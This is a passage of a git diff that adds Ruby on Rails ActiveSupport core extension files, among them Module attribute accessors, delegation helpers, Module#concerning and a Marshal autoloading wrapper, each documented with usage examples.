--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/kernel/singleton_class.rb
@@ -0,0 +1,8 @@
+# frozen_string_literal: true
+
+module Kernel
+  # class_eval on an object acts like singleton_class.class_eval.
+  def class_eval(*args, &block)
+    singleton_class.class_eval(*args, &block)
+  end
+end
diff --git a/activesupport/lib/active_support/core_ext/load_error.rb b/activesupport/lib/active_support/core_ext/load_error.rb
new file mode 100644
index 0000000000..c3939b5d0b
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/load_error.rb
@@ -0,0 +1,16 @@
+# frozen_string_literal: true
+
+class LoadError
+  REGEXPS = [
+    /^no such file to load -- (.+)$/i,
+    /^Missing \w+ (?:file\s*)?([^\s]+.rb)$/i,
+    /^Missing API definition file in (.+)$/i,
+    /^cannot load such file -- (.+)$/i,
+  ]
+
+  # Returns true if the given path name (except perhaps for the ".rb"
+  # extension) is the missing file which caused the exception to be raised.
+  def is_missing?(location)
+    location.sub(/\.rb$/, "".freeze) == path.sub(/\.rb$/, "".freeze)
+  end
+end
diff --git a/activesupport/lib/active_support/core_ext/marshal.rb b/activesupport/lib/active_support/core_ext/marshal.rb
new file mode 100644
index 0000000000..0c72cd7b47
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/marshal.rb
@@ -0,0 +1,24 @@
+# frozen_string_literal: true
+
+module ActiveSupport
+  module MarshalWithAutoloading # :nodoc:
+    def load(source, proc = nil)
+      super(source, proc)
+    rescue ArgumentError, NameError => exc
+      if exc.message.match(%r|undefined class/module (.+?)(?:::)?\z|)
+        # try loading the class/module
+        loaded = $1.constantize
+
+        raise unless $1 == loaded.name
+
+        # if it is an IO we need to go back to read the object
+        source.rewind if source.respond_to?(:rewind)
+        retry
+      else
+        raise exc
+      end
+    end
+  end
+end
+
+Marshal.singleton_class.prepend(ActiveSupport::MarshalWithAutoloading)
diff --git a/activesupport/lib/active_support/core_ext/module.rb b/activesupport/lib/active_support/core_ext/module.rb
new file mode 100644
index 0000000000..da8f572c3b
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/module.rb
@@ -0,0 +1,13 @@
+# frozen_string_literal: true
+
+require_relative "module/aliasing"
+require_relative "module/introspection"
+require_relative "module/anonymous"
+require_relative "module/reachable"
+require_relative "module/attribute_accessors"
+require_relative "module/attribute_accessors_per_thread"
+require_relative "module/attr_internal"
+require_relative "module/concerning"
+require_relative "module/delegation"
+require_relative "module/deprecation"
+require_relative "module/remove_method"
diff --git a/activesupport/lib/active_support/core_ext/module/aliasing.rb b/activesupport/lib/active_support/core_ext/module/aliasing.rb
new file mode 100644
index 0000000000..6f64d11627
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/module/aliasing.rb
@@ -0,0 +1,31 @@
+# frozen_string_literal: true
+
+class Module
+  # Allows you to make aliases for attributes, which includes
+  # getter, setter, and a predicate.
+  #
+  #   class Content < ActiveRecord::Base
+  #     # has a title attribute
+  #   end
+  #
+  #   class Email < Content
+  #     alias_attribute :subject, :title
+  #   end
+  #
+  #   e = Email.find(1)
+  #   e.title    # => "Superstars"
+  #   e.subject  # => "Superstars"
+  #   e.subject? # => true
+  #   e.subject = "Megastars"
+  #   e.title    # => "Megastars"
+  def alias_attribute(new_name, old_name)
+    # The following reader methods use an explicit `self` receiver in order to
+    # support aliases that start with an uppercase letter. Otherwise, they would
+    # be resolved as constants instead.
+    module_eval <<-STR, __FILE__, __LINE__ + 1
+      def #{new_name}; self.#{old_name}; end          # def subject; self.title; end
+      def #{new_name}?; self.#{old_name}?; end        # def subject?; self.title?; end
+      def #{new_name}=(v); self.#{old_name} = v; end  # def subject=(v); self.title = v; end
+    STR
+  end
+end
diff --git a/activesupport/lib/active_support/core_ext/module/anonymous.rb b/activesupport/lib/active_support/core_ext/module/anonymous.rb
new file mode 100644
index 0000000000..d1c86b8722
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/module/anonymous.rb
@@ -0,0 +1,30 @@
+# frozen_string_literal: true
+
+class Module
+  # A module may or may not have a name.
+  #
+  #   module M; end
+  #   M.name # => "M"
+  #
+  #   m = Module.new
+  #   m.name # => nil
+  #
+  # +anonymous?+ method returns true if module does not have a name, false otherwise:
+  #
+  #   Module.new.anonymous? # => true
+  #
+  #   module M; end
+  #   M.anonymous?          # => false
+  #
+  # A module gets a name when it is first assigned to a constant. Either
+  # via the +module+ or +class+ keyword or by an explicit assignment:
+  #
+  #   m = Module.new # creates an anonymous module
+  #   m.anonymous?   # => true
+  #   M = m          # m gets a name here as a side-effect
+  #   m.name         # => "M"
+  #   m.anonymous?   # => false
+  def anonymous?
+    name.nil?
+  end
+end
diff --git a/activesupport/lib/active_support/core_ext/module/attr_internal.rb b/activesupport/lib/active_support/core_ext/module/attr_internal.rb
new file mode 100644
index 0000000000..7801f6d181
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/module/attr_internal.rb
@@ -0,0 +1,38 @@
+# frozen_string_literal: true
+
+class Module
+  # Declares an attribute reader backed by an internally-named instance variable.
+  def attr_internal_reader(*attrs)
+    attrs.each { |attr_name| attr_internal_define(attr_name, :reader) }
+  end
+
+  # Declares an attribute writer backed by an internally-named instance variable.
+  def attr_internal_writer(*attrs)
+    attrs.each { |attr_name| attr_internal_define(attr_name, :writer) }
+  end
+
+  # Declares an attribute reader and writer backed by an internally-named instance
+  # variable.
+  def attr_internal_accessor(*attrs)
+    attr_internal_reader(*attrs)
+    attr_internal_writer(*attrs)
+  end
+  alias_method :attr_internal, :attr_internal_accessor
+
+  class << self; attr_accessor :attr_internal_naming_format end
+  self.attr_internal_naming_format = "@_%s"
+
+  private
+    def attr_internal_ivar_name(attr)
+      Module.attr_internal_naming_format % attr
+    end
+
+    def attr_internal_define(attr_name, type)
+      internal_name = attr_internal_ivar_name(attr_name).sub(/\A@/, "")
+      # use native attr_* methods as they are faster on some Ruby implementations
+      send("attr_#{type}", internal_name)
+      attr_name, internal_name = "#{attr_name}=", "#{internal_name}=" if type == :writer
+      alias_method attr_name, internal_name
+      remove_method internal_name
+    end
+end
diff --git a/activesupport/lib/active_support/core_ext/module/attribute_accessors.rb b/activesupport/lib/active_support/core_ext/module/attribute_accessors.rb
new file mode 100644
index 0000000000..e667c1f4a4
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/module/attribute_accessors.rb
@@ -0,0 +1,215 @@
+# frozen_string_literal: true
+
+require_relative "../array/extract_options"
+require_relative "../regexp"
+
+# Extends the module object with class/module and instance accessors for
+# class/module attributes, just like the native attr* accessors for instance
+# attributes.
+class Module
+  # Defines a class attribute and creates a class and instance reader methods.
+  # The underlying class variable is set to +nil+, if it is not previously
+  # defined. All class and instance methods created will be public, even if
+  # this method is called with a private or protected access modifier.
+  #
+  #   module HairColors
+  #     mattr_reader :hair_colors
+  #   end
+  #
+  #   HairColors.hair_colors # => nil
+  #   HairColors.class_variable_set("@@hair_colors", [:brown, :black])
+  #   HairColors.hair_colors # => [:brown, :black]
+  #
+  # The attribute name must be a valid method name in Ruby.
+  #
+  #   module Foo
+  #     mattr_reader :"1_Badname"
+  #   end
+  #   # => NameError: invalid attribute name: 1_Badname
+  #
+  # If you want to opt out the creation on the instance reader method, pass
+  # <tt>instance_reader: false</tt> or <tt>instance_accessor: false</tt>.
+  #
+  #   module HairColors
+  #     mattr_reader :hair_colors, instance_reader: false
+  #   end
+  #
+  #   class Person
+  #     include HairColors
+  #   end
+  #
+  #   Person.new.hair_colors # => NoMethodError
+  #
+  # You can set a default value for the attribute.
+  #
+  #   module HairColors
+  #     mattr_reader :hair_colors, default: [:brown, :black, :blonde, :red]
+  #   end
+  #
+  #   class Person
+  #     include HairColors
+  #   end
+  #
+  #   Person.new.hair_colors # => [:brown, :black, :blonde, :red]
+  def mattr_reader(*syms, instance_reader: true, instance_accessor: true, default: nil)
+    syms.each do |sym|
+      raise NameError.new("invalid attribute name: #{sym}") unless /\A[_A-Za-z]\w*\z/.match?(sym)
+      class_eval(<<-EOS, __FILE__, __LINE__ + 1)
+        @@#{sym} = nil unless defined? @@#{sym}
+
+        def self.#{sym}
+          @@#{sym}
+        end
+      EOS
+
+      if instance_reader && instance_accessor
+        class_eval(<<-EOS, __FILE__, __LINE__ + 1)
+          def #{sym}
+            @@#{sym}
+          end
+        EOS
+      end
+
+      sym_default_value = (block_given? && default.nil?) ? yield : default
+      class_variable_set("@@#{sym}", sym_default_value) unless sym_default_value.nil?
+    end
+  end
+  alias :cattr_reader :mattr_reader
+
+  # Defines a class attribute and creates a class and instance writer methods to
+  # allow assignment to the attribute. All class and instance methods created
+  # will be public, even if this method is called with a private or protected
+  # access modifier.
+  #
+  #   module HairColors
+  #     mattr_writer :hair_colors
+  #   end
+  #
+  #   class Person
+  #     include HairColors
+  #   end
+  #
+  #   HairColors.hair_colors = [:brown, :black]
+  #   Person.class_variable_get("@@hair_colors") # => [:brown, :black]
+  #   Person.new.hair_colors = [:blonde, :red]
+  #   HairColors.class_variable_get("@@hair_colors") # => [:blonde, :red]
+  #
+  # If you want to opt out the instance writer method, pass
+  # <tt>instance_writer: false</tt> or <tt>instance_accessor: false</tt>.
+  #
+  #   module HairColors
+  #     mattr_writer :hair_colors, instance_writer: false
+  #   end
+  #
+  #   class Person
+  #     include HairColors
+  #   end
+  #
+  #   Person.new.hair_colors = [:blonde, :red] # => NoMethodError
+  #
+  # You can set a default value for the attribute.
+  #
+  #   module HairColors
+  #     mattr_writer :hair_colors, default: [:brown, :black, :blonde, :red]
+  #   end
+  #
+  #   class Person
+  #     include HairColors
+  #   end
+  #
+  #   Person.class_variable_get("@@hair_colors") # => [:brown, :black, :blonde, :red]
+  def mattr_writer(*syms, instance_writer: true, instance_accessor: true, default: nil)
+    syms.each do |sym|
+      raise NameError.new("invalid attribute name: #{sym}") unless /\A[_A-Za-z]\w*\z/.match?(sym)
+      class_eval(<<-EOS, __FILE__, __LINE__ + 1)
+        @@#{sym} = nil unless defined? @@#{sym}
+
+        def self.#{sym}=(obj)
+          @@#{sym} = obj
+        end
+      EOS
+
+      if instance_writer && instance_accessor
+        class_eval(<<-EOS, __FILE__, __LINE__ + 1)
+          def #{sym}=(obj)
+            @@#{sym} = obj
+          end
+        EOS
+      end
+
+      sym_default_value = (block_given? && default.nil?) ? yield : default
+      send("#{sym}=", sym_default_value) unless sym_default_value.nil?
+    end
+  end
+  alias :cattr_writer :mattr_writer
+
+  # Defines both class and instance accessors for class attributes.
+  # All class and instance methods created will be public, even if
+  # this method is called with a private or protected access modifier.
+  #
+  #   module HairColors
+  #     mattr_accessor :hair_colors
+  #   end
+  #
+  #   class Person
+  #     include HairColors
+  #   end
+  #
+  #   HairColors.hair_colors = [:brown, :black, :blonde, :red]
+  #   HairColors.hair_colors # => [:brown, :black, :blonde, :red]
+  #   Person.new.hair_colors # => [:brown, :black, :blonde, :red]
+  #
+  # If a subclass changes the value then that would also change the value for
+  # parent class. Similarly if parent class changes the value then that would
+  # change the value of subclasses too.
+  #
+  #   class Male < Person
+  #   end
+  #
+  #   Male.new.hair_colors << :blue
+  #   Person.new.hair_colors # => [:brown, :black, :blonde, :red, :blue]
+  #
+  # To opt out of the instance writer method, pass <tt>instance_writer: false</tt>.
+  # To opt out of the instance reader method, pass <tt>instance_reader: false</tt>.
+  #
+  #   module HairColors
+  #     mattr_accessor :hair_colors, instance_writer: false, instance_reader: false
+  #   end
+  #
+  #   class Person
+  #     include HairColors
+  #   end
+  #
+  #   Person.new.hair_colors = [:brown]  # => NoMethodError
+  #   Person.new.hair_colors             # => NoMethodError
+  #
+  # Or pass <tt>instance_accessor: false</tt>, to opt out both instance methods.
+  #
+  #   module HairColors
+  #     mattr_accessor :hair_colors, instance_accessor: false
+  #   end
+  #
+  #   class Person
+  #     include HairColors
+  #   end
+  #
+  #   Person.new.hair_colors = [:brown]  # => NoMethodError
+  #   Person.new.hair_colors             # => NoMethodError
+  #
+  # You can set a default value for the attribute.
+  #
+  #   module HairColors
+  #     mattr_accessor :hair_colors, default: [:brown, :black, :blonde, :red]
+  #   end
+  #
+  #   class Person
+  #     include HairColors
+  #   end
+  #
+  #   Person.class_variable_get("@@hair_colors") # => [:brown, :black, :blonde, :red]
+  def mattr_accessor(*syms, instance_reader: true, instance_writer: true, instance_accessor: true, default: nil, &blk)
+    mattr_reader(*syms, instance_reader: instance_reader, instance_accessor: instance_accessor, default: default, &blk)
+    mattr_writer(*syms, instance_writer: instance_writer, instance_accessor: instance_accessor, default: default)
+  end
+  alias :cattr_accessor :mattr_accessor
+end
diff --git a/activesupport/lib/active_support/core_ext/module/attribute_accessors_per_thread.rb b/activesupport/lib/active_support/core_ext/module/attribute_accessors_per_thread.rb
new file mode 100644
index 0000000000..90a350c5dc
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/module/attribute_accessors_per_thread.rb
@@ -0,0 +1,150 @@
+# frozen_string_literal: true
+
+require_relative "../array/extract_options"
+require_relative "../regexp"
+
+# Extends the module object with class/module and instance accessors for
+# class/module attributes, just like the native attr* accessors for instance
+# attributes, but does so on a per-thread basis.
+#
+# So the values are scoped within the Thread.current space under the class name
+# of the module.
+class Module
+  # Defines a per-thread class attribute and creates class and instance reader methods.
+  # The underlying per-thread class variable is set to +nil+, if it is not previously defined.
+  #
+  #   module Current
+  #     thread_mattr_reader :user
+  #   end
+  #
+  #   Current.user # => nil
+  #   Thread.current[:attr_Current_user] = "DHH"
+  #   Current.user # => "DHH"
+  #
+  # The attribute name must be a valid method name in Ruby.
+  #
+  #   module Foo
+  #     thread_mattr_reader :"1_Badname"
+  #   end
+  #   # => NameError: invalid attribute name: 1_Badname
+  #
+  # If you want to opt out of the creation of the instance reader method, pass
+  # <tt>instance_reader: false</tt> or <tt>instance_accessor: false</tt>.
+  #
+  #   class Current
+  #     thread_mattr_reader :user, instance_reader: false
+  #   end
+  #
+  #   Current.new.user # => NoMethodError
+  def thread_mattr_reader(*syms) # :nodoc:
+    options = syms.extract_options!
+
+    syms.each do |sym|
+      raise NameError.new("invalid attribute name: #{sym}") unless /^[_A-Za-z]\w*$/.match?(sym)
+
+      # The following generated method concatenates `name` because we want it
+      # to work with inheritance via polymorphism.
+      class_eval(<<-EOS, __FILE__, __LINE__ + 1)
+        def self.#{sym}
+          Thread.current["attr_" + name + "_#{sym}"]
+        end
+      EOS
+
+      unless options[:instance_reader] == false || options[:instance_accessor] == false
+        class_eval(<<-EOS, __FILE__, __LINE__ + 1)
+          def #{sym}
+            self.class.#{sym}
+          end
+        EOS
+      end
+    end
+  end
+  alias :thread_cattr_reader :thread_mattr_reader
+
+  # Defines a per-thread class attribute and creates a class and instance writer methods to
+  # allow assignment to the attribute.
+  #
+  #   module Current
+  #     thread_mattr_writer :user
+  #   end
+  #
+  #   Current.user = "DHH"
+  #   Thread.current[:attr_Current_user] # => "DHH"
+  #
+  # If you want to opt out of the creation of the instance writer method, pass
+  # <tt>instance_writer: false</tt> or <tt>instance_accessor: false</tt>.
+  #
+  #   class Current
+  #     thread_mattr_writer :user, instance_writer: false
+  #   end
+  #
+  #   Current.new.user = "DHH" # => NoMethodError
+  def thread_mattr_writer(*syms) # :nodoc:
+    options = syms.extract_options!
+    syms.each do |sym|
+      raise NameError.new("invalid attribute name: #{sym}") unless /^[_A-Za-z]\w*$/.match?(sym)
+
+      # The following generated method concatenates `name` because we want it
+      # to work with inheritance via polymorphism.
+      class_eval(<<-EOS, __FILE__, __LINE__ + 1)
+        def self.#{sym}=(obj)
+          Thread.current["attr_" + name + "_#{sym}"] = obj
+        end
+      EOS
+
+      unless options[:instance_writer] == false || options[:instance_accessor] == false
+        class_eval(<<-EOS, __FILE__, __LINE__ + 1)
+          def #{sym}=(obj)
+            self.class.#{sym} = obj
+          end
+        EOS
+      end
+    end
+  end
+  alias :thread_cattr_writer :thread_mattr_writer
+
+  # Defines both class and instance accessors for class attributes.
+  #
+  #   class Account
+  #     thread_mattr_accessor :user
+  #   end
+  #
+  #   Account.user = "DHH"
+  #   Account.user     # => "DHH"
+  #   Account.new.user # => "DHH"
+  #
+  # If a subclass changes the value, the parent class' value is not changed.
+  # Similarly, if the parent class changes the value, the value of subclasses
+  # is not changed.
+  #
+  #   class Customer < Account
+  #   end
+  #
+  #   Customer.user = "Rafael"
+  #   Customer.user # => "Rafael"
+  #   Account.user  # => "DHH"
+  #
+  # To opt out of the instance writer method, pass <tt>instance_writer: false</tt>.
+  # To opt out of the instance reader method, pass <tt>instance_reader: false</tt>.
+  #
+  #   class Current
+  #     thread_mattr_accessor :user, instance_writer: false, instance_reader: false
+  #   end
+  #
+  #   Current.new.user = "DHH"  # => NoMethodError
+  #   Current.new.user          # => NoMethodError
+  #
+  # Or pass <tt>instance_accessor: false</tt>, to opt out both instance methods.
+  #
+  #   class Current
+  #     mattr_accessor :user, instance_accessor: false
+  #   end
+  #
+  #   Current.new.user = "DHH"  # => NoMethodError
+  #   Current.new.user          # => NoMethodError
+  def thread_mattr_accessor(*syms)
+    thread_mattr_reader(*syms)
+    thread_mattr_writer(*syms)
+  end
+  alias :thread_cattr_accessor :thread_mattr_accessor
+end
diff --git a/activesupport/lib/active_support/core_ext/module/concerning.rb b/activesupport/lib/active_support/core_ext/module/concerning.rb
new file mode 100644
index 0000000000..17c202a24a
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/module/concerning.rb
@@ -0,0 +1,137 @@
+# frozen_string_literal: true
+
+require_relative "../../concern"
+
+class Module
+  # = Bite-sized separation of concerns
+  #
+  # We often find ourselves with a medium-sized chunk of behavior that we'd
+  # like to extract, but only mix in to a single class.
+  #
+  # Extracting a plain old Ruby object to encapsulate it and collaborate or
+  # delegate to the original object is often a good choice, but when there's
+  # no additional state to encapsulate or we're making DSL-style declarations
+  # about the parent class, introducing new collaborators can obfuscate rather
+  # than simplify.
+  #
+  # The typical route is to just dump everything in a monolithic class, perhaps
+  # with a comment, as a least-bad alternative. Using modules in separate files
+  # means tedious sifting to get a big-picture view.
+  #
+  # = Dissatisfying ways to separate small concerns
+  #
+  # == Using comments:
+  #
+  #   class Todo
+  #     # Other todo implementation
+  #     # ...
+  #
+  #     ## Event tracking
+  #     has_many :events
+  #
+  #     before_create :track_creation
+  #     after_destroy :track_deletion
+  #
+  #     private
+  #       def track_creation
+  #         # ...
+  #       end
+  #   end
+  #
+  # == With an inline module:
+  #
+  # Noisy syntax.
+  #
+  #   class Todo
+  #     # Other todo implementation
+  #     # ...
+  #
+  #     module EventTracking
+  #       extend ActiveSupport::Concern
+  #
+  #       included do
+  #         has_many :events
+  #         before_create :track_creation
+  #         after_destroy :track_deletion
+  #       end
+  #
+  #       private
+  #         def track_creation
+  #           # ...
+  #         end
+  #     end
+  #     include EventTracking
+  #   end
+  #
+  # == Mix-in noise exiled to its own file:
+  #
+  # Once our chunk of behavior starts pushing the scroll-to-understand-it
+  # boundary, we give in and move it to a separate file. At this size, the
+  # increased overhead can be a reasonable tradeoff even if it reduces our
+  # at-a-glance perception of how things work.
+  #
+  #   class Todo
+  #     # Other todo implementation
+  #     # ...
+  #
+  #     include TodoEventTracking
+  #   end
+  #
+  # = Introducing Module#concerning
+  #
+  # By quieting the mix-in noise, we arrive at a natural, low-ceremony way to
+  # separate bite-sized concerns.
+  #
+  #   class Todo
+  #     # Other todo implementation
+  #     # ...
+  #
+  #     concerning :EventTracking do
+  #       included do
+  #         has_many :events
+  #         before_create :track_creation
+  #         after_destroy :track_deletion
+  #       end
+  #
+  #       private
+  #         def track_creation
+  #           # ...
+  #         end
+  #     end
+  #   end
+  #
+  #   Todo.ancestors
+  #   # => [Todo, Todo::EventTracking, Object]
+  #
+  # This small step has some wonderful ripple effects. We can
+  # * grok the behavior of our class in one glance,
+  # * clean up monolithic junk-drawer classes by separating their concerns, and
+  # * stop leaning on protected/private for crude "this is internal stuff" modularity.
+  module Concerning
+    # Define a new concern and mix it in.
+    def concerning(topic, &block)
+      include concern(topic, &block)
+    end
+
+    # A low-cruft shortcut to define a concern.
+    #
+    #   concern :EventTracking do
+    #     ...
+    #   end
+    #
+    # is equivalent to
+    #
+    #   module EventTracking
+    #     extend ActiveSupport::Concern
+    #
+    #     ...
+    #   end
+    def concern(topic, &module_definition)
+      const_set topic, Module.new {
+        extend ::ActiveSupport::Concern
+        module_eval(&module_definition)
+      }
+    end
+  end
+  include Concerning
+end
diff --git a/activesupport/lib/active_support/core_ext/module/delegation.rb b/activesupport/lib/active_support/core_ext/module/delegation.rb
new file mode 100644
index 0000000000..6565d53a06
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/module/delegation.rb
@@ -0,0 +1,282 @@
+# frozen_string_literal: true
+
+require "set"
+require_relative "../regexp"
+
+class Module
+  # Error generated by +delegate+ when a method is called on +nil+ and +allow_nil+
+  # option is not used.
+  class DelegationError < NoMethodError; end
+
+  RUBY_RESERVED_KEYWORDS = %w(alias and BEGIN begin break case class def defined? do
+  else elsif END end ensure false for if in module next nil not or redo rescue retry
+  return self super then true undef unless until when while yield)
+  DELEGATION_RESERVED_KEYWORDS = %w(_ arg args block)
+  DELEGATION_RESERVED_METHOD_NAMES = Set.new(
+    RUBY_RESERVED_KEYWORDS + DELEGATION_RESERVED_KEYWORDS
+  ).freeze
+
+  # Provides a +delegate+ class method to easily expose contained objects'
+  # public methods as your own.
+  #
+  # ==== Options
+  # * <tt>:to</tt> - Specifies the target object
+  # * <tt>:prefix</tt> - Prefixes the new method with the target name or a custom prefix
+  # * <tt>:allow_nil</tt> - if set to true, prevents a +Module::DelegationError+
+  #   from being raised
+  #
+  # The macro receives one or more method names (specified as symbols or
+  # strings) and the name of the target object via the <tt>:to</tt> option
+  # (also a symbol or string).
+  #
+  # Delegation is particularly useful with Active Record associations:
+  #
+  #   class Greeter < ActiveRecord::Base
+  #     def hello
+  #       'hello'
+  #     end
+  #
+  #     def goodbye
+  #       'goodbye'
+  #     end
+  #   end
+  #
+  #   class Foo < ActiveRecord::Base
+  #     belongs_to :greeter
+  #     delegate :hello, to: :greeter
+  #   end
+  #
+  #   Foo.new.hello   # => "hello"
+  #   Foo.new.goodbye # => NoMethodError: undefined method `goodbye' for #<Foo:0x1af30c>
+  #
+  # Multiple delegates to the same target are allowed:
+  #
+  #   class Foo < ActiveRecord::Base
+  #     belongs_to :greeter
+  #     delegate :hello, :goodbye, to: :greeter
+  #   end
+  #
+  #   Foo.new.goodbye # => "goodbye"
+  #
+  # Methods can be delegated to instance variables, class variables, or constants
+  # by providing them as a symbols:
+  #
+  #   class Foo
+  #     CONSTANT_ARRAY = [0,1,2,3]
+  #     @@class_array  = [4,5,6,7]
+  #
+  #     def initialize
+  #       @instance_array = [8,9,10,11]
+  #     end
+  #     delegate :sum, to: :CONSTANT_ARRAY
+  #     delegate :min, to: :@@class_array
+  #     delegate :max, to: :@instance_array
+  #   end
+  #
+  #   Foo.new.sum # => 6
+  #   Foo.new.min # => 4
+  #   Foo.new.max # => 11
+  #
+  # It's also possible to delegate a method to the class by using +:class+:
+  #
+  #   class Foo
+  #     def self.hello
+  #       "world"
+  #     end
+  #
+  #     delegate :hello, to: :class
+  #   end
+  #
+  #   Foo.new.hello # => "world"
+  #
+  # Delegates can optionally be prefixed using the <tt>:prefix</tt> option. If the value
+  # is <tt>true</tt>, the delegate methods are prefixed with the name of the object being
+  # delegated to.
+  #
+  #   Person = Struct.new(:name, :address)
+  #
+  #   class Invoice < Struct.new(:client)
+  #     delegate :name, :address, to: :client, prefix: true
+  #   end
+  #
+  #   john_doe = Person.new('John Doe', 'Vimmersvej 13')
+  #   invoice = Invoice.new(john_doe)
+  #   invoice.client_name    # => "John Doe"
+  #   invoice.client_address # => "Vimmersvej 13"
+  #
+  # It is also possible to supply a custom prefix.
+  #
+  #   class Invoice < Struct.new(:client)
+  #     delegate :name, :address, to: :client, prefix: :customer
+  #   end
+  #
+  #   invoice = Invoice.new(john_doe)
+  #   invoice.customer_name    # => 'John Doe'
+  #   invoice.customer_address # => 'Vimmersvej 13'
+  #
+  # If the target is +nil+ and does not respond to the delegated method a
+  # +Module::DelegationError+ is raised, as with any other value. Sometimes,
+  # however, it makes sense to be robust to that situation and that is the
+  # purpose of the <tt>:allow_nil</tt> option: If the target is not +nil+, or it
+  # is and responds to the method, everything works as usual. But if it is +nil+
+  # and does not respond to the delegated method, +nil+ is returned.
+  #
+  #   class User < ActiveRecord::Base
+  #     has_one :profile
+  #     delegate :age, to: :profile
+  #   end
+  #
+  #   User.new.age
+  #   # => Module::DelegationError: User#age delegated to profile.age, but profile is nil
+  #
+  # But if not having a profile yet is fine and should not be an error
+  # condition:
+  #
+  #   class User < ActiveRecord::Base
+  #     has_one :profile
+  #     delegate :age, to: :profile, allow_nil: true
+  #   end
+  #
+  #   User.new.age # nil
+  #
+  # Note that if the target is not +nil+ then the call is attempted regardless of the
+  # <tt>:allow_nil</tt> option, and thus an exception is still raised if said object
+  # does not respond to the method:
+  #
+  #   class Foo
+  #     def initialize(bar)
+  #       @bar = bar
+  #     end
+  #
+  #     delegate :name, to: :@bar, allow_nil: true
+  #   end
+  #
+  #   Foo.new("Bar").name # raises NoMethodError: undefined method `name'
+  #
+  # The target method must be public, otherwise it will raise +NoMethodError+.
+  def delegate(*methods, to: nil, prefix: nil, allow_nil: nil)
+    unless to
+      raise ArgumentError, "Delegation needs a target. Supply an options hash with a :to key as the last argument (e.g. delegate :hello, to: :greeter)."
+    end
+
+    if prefix == true && /^[^a-z_]/.match?(to)
+      raise ArgumentError, "Can only automatically set the delegation prefix when delegating to a method."
+    end
+
+    method_prefix = \
+      if prefix
+        "#{prefix == true ? to : prefix}_"
+      else
+        ""
+      end
+
+    location = caller_locations(1, 1).first
+    file, line = location.path, location.lineno
+
+    to = to.to_s
+    to = "self.#{to}" if DELEGATION_RESERVED_METHOD_NAMES.include?(to)
+
+    methods.map do |method|
+      # Attribute writer methods only accept one argument. Makes sure []=
+      # methods still accept two arguments.
+      definition = /[^\]]=$/.match?(method) ? "arg" : "*args, &block"
+
+      # The following generated method calls the target exactly once, storing
+      # the returned value in a dummy variable.
+      #
+      # Reason is twofold: On one hand doing less calls is in general better.
+      # On the other hand it could be that the target has side-effects,
+      # whereas conceptually, from the user point of view, the delegator should
+      # be doing one call.
+      if allow_nil
+        method_def = [
+          "def #{method_prefix}#{method}(#{definition})",
+          "_ = #{to}",
+          "if !_.nil? || nil.respond_to?(:#{method})",
+          "  _.#{method}(#{definition})",
+          "end",
+        "end"
+        ].join ";"
+      else
+        exception = %(raise DelegationError, "#{self}##{method_prefix}#{method} delegated to #{to}.#{method}, but #{to} is nil: \#{self.inspect}")
+
+        method_def = [
+          "def #{method_prefix}#{method}(#{definition})",
+          " _ = #{to}",
+          "  _.#{method}(#{definition})",
+          "rescue NoMethodError => e",
+          "  if _.nil? && e.name == :#{method}",
+          "    #{exception}",
+          "  else",
+          "    raise",
+          "  end",
+          "end"
+        ].join ";"
+      end
+
+      module_eval(method_def, file, line)
+    end
+  end
+
+  # When building decorators, a common pattern may emerge:
+  #
+  #   class Partition
+  #     def initialize(event)
+  #       @event = event
+  #     end
+  #
+  #     def person
+  #       @event.detail.person || @event.creator
+  #     end
+  #
+  #     private
+  #       def respond_to_missing?(name, include_private = false)
+  #         @event.respond_to?(name, include_private)
+  #       end
+  #
+  #       def method_missing(method, *args, &block)
+  #         @event.send(method, *args, &block)
+  #       end
+  #   end
+  #
+  # With <tt>Module#delegate_missing_to</tt>, the above is condensed to:
+  #
+  #   class Partition
+  #     delegate_missing_to :@event
+  #
+  #     def initialize(event)
+  #       @event = event
+  #     end
+  #
+  #     def person
+  #       @event.detail.person || @event.creator
+  #     end
+  #   end
+  #
+  # The target can be anything callable within the object, e.g. instance
+  # variables, methods, constants, etc.
+  #
+  # The delegated method must be public on the target, otherwise it will
+  # raise +NoMethodError+.
+  def delegate_missing_to(target)
+    target = target.to_s
+    target = "self.#{target}" if DELEGATION_RESERVED_METHOD_NAMES.include?(target)
+
+    module_eval <<-RUBY, __FILE__, __LINE__ + 1
+      def respond_to_missing?(name, include_private = false)
+        # It may look like an oversight, but we deliberately do not pass
+        # +include_private+, because they do not get delegated.
+
+        #{target}.respond_to?(name) || super
+      end
+
+      def method_missing(method, *args, &block)
+        if #{target}.respond_to?(method)
+          #{target}.public_send(method, *args, &block)
+        else
+          super
+        end
+      end
+    RUBY
+  end
+end
diff --git a/activesupport/lib/active_support/core_ext/module/deprecation.rb b/activesupport/lib/active_support/core_ext/module/deprecation.rb
new file mode 100644
index 0000000000..71c42eb357
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/module/deprecation.rb
@@ -0,0 +1,25 @@
+# frozen_string_literal: true
+
+class Module
+  #   deprecate :foo
+  #   deprecate bar: 'message'
+  #   deprecate :foo, :bar, baz: 'warning!', qux: 'gone!'
+  #
+  # You can also use custom deprecator instance:
+  #
+  #   deprecate :foo, deprecator: MyLib::Deprecator.new
+  #   deprecate :foo, bar: "warning!", deprecator: MyLib::Deprecator.new
+  #
+  # \Custom deprecators must respond to <tt>deprecation_warning(deprecated_method_name, message, caller_backtrace)</tt>
+  # method where you can implement your custom warning behavior.
+  #
+  #   class MyLib::Deprecator
+  #     def deprecation_warning(deprecated_method_name, message, caller_backtrace = nil)
+  #       message = "#{deprecated_method_name} is deprecated and will be removed from MyLibrary | #{message}"
+  #       Kernel.warn message
+  #     end
+  #   end
+  def deprecate(*method_names)
+    ActiveSupport::Deprecation.deprecate_methods(self, *method_names)
+  end
+end
diff --git a/activesupport/lib/active_support/core_ext/module/introspection.rb b/activesupport/lib/active_support/core_ext/module/introspection.rb
new file mode 100644
index 0000000000..540385ef6f
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/module/introspection.rb
@@ -0,0 +1,62 @@
+# frozen_string_literal: true
+
+require_relative "../../inflector"
+
